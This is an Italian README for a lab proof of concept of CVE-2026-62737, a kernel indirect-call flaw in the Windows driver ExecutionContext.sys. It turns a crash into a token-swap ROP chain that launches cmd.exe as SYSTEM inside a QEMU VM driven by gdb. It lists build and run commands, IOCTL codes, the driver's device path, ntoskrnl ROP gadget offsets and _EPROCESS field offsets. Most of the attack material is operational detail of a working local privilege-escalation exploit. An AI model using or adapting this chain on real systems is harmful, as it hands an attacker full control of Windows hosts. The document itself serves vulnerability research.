
Eleva un processo Windows a bassi privilegi a SYSTEM tramite una catena ROP di scambio token assistita da gdb, dimostrando CVE-2026-62737 in un ambiente QEMU solo per laboratorio.
Un seguito al writeup originale di CVE-2026-62737
(ExecutionContext.sys chiamata indiretta arbitraria del kernel). Trasforma la
PoC del crash in una catena di token-swap funzionante che avvia cmd.exe come SYSTEM, ma solo
in un laboratorio dove un debugger fornisce gli indirizzi e scrive la catena ROP nella
memoria del kernel. Questo non è un exploit autonomo.
ExecutionContext tramite il proxy KLoader come utente a bassi privilegi.0x22EC40) e accoda un task (0x22AC54)
il cui Callback è un pivot ROP del kernel.patch_rop.py) scrive una catena ROP di token-swap nella
sezione ExecutionContext .data e cattura RSP/RBP al momento del pivot tramite un
breakpoint hardware.0x226C5C),
la catena scambia il nostro token con quello di SYSTEM, ripristina lo stack
del kernel e ritorna nel dispatcher del driver, così il worker sopravvive.gdbserver tcp::1234), un guest agent e una
cartella condivisa host/guest montata come Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) e gdb sull'host.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Ottieni basi aggiornate: ./ga.py 'Z:\modlist.exe' (dopo aver copiato modlist.exe
nella cartella condivisa)
Aggiorna gli script: ./refresh_bases.sh
Copia exploit.exe e modlist.exe nella cartella condivisa.
Avvia l'exploit come utente a bassi privilegi: exploit.exe <nt> <ec> <ec+0x10A00>.
Scrive il proprio PID in Z:\lab_pid.txt e attende Z:\go_lab.txt.
Collega gdb, puntando LAB_PID_FILE alla copia host di lab_pid.txt:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
Digita continue al prompt di gdb.
MIT, vedi LICENSE.
| File | Scopo |
|---|
exploit.c | Exploit da laboratorio: inizializzazione + accodamento + attesa della patch gdb + verifica token + avvio di cmd. |
patch_rop.py | Script gdb: localizza il nostro EPROCESS, scrive la catena ROP, attiva il breakpoint del pivot. |
trace_rop.py | Stessa configurazione, ma esegue la catena in modalità passo-passo per il debug. |
refresh_bases.sh | Aggiorna le basi nt/ec per ogni avvio negli script gdb a partire dall'output di modlist.exe. |
modlist.c | Stampa la base di ntoskrnl / ExecutionContext per ogni avvio (oracolo KASLR di laboratorio). |
ga.py | Esegue comandi nella VM di laboratorio tramite il guest agent di QEMU. |
Sblocca l'exploit: touch /path/to/shared/go_lab.txt
Dopo circa 15 s, Z:\lab_exploit_out.txt dovrebbe mostrare system=1 e
Z:\lab_shell_out.txt dovrebbe contenere nt authority\system.
| Elemento | Valore |
|---|
| Pivot ROP (completo) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |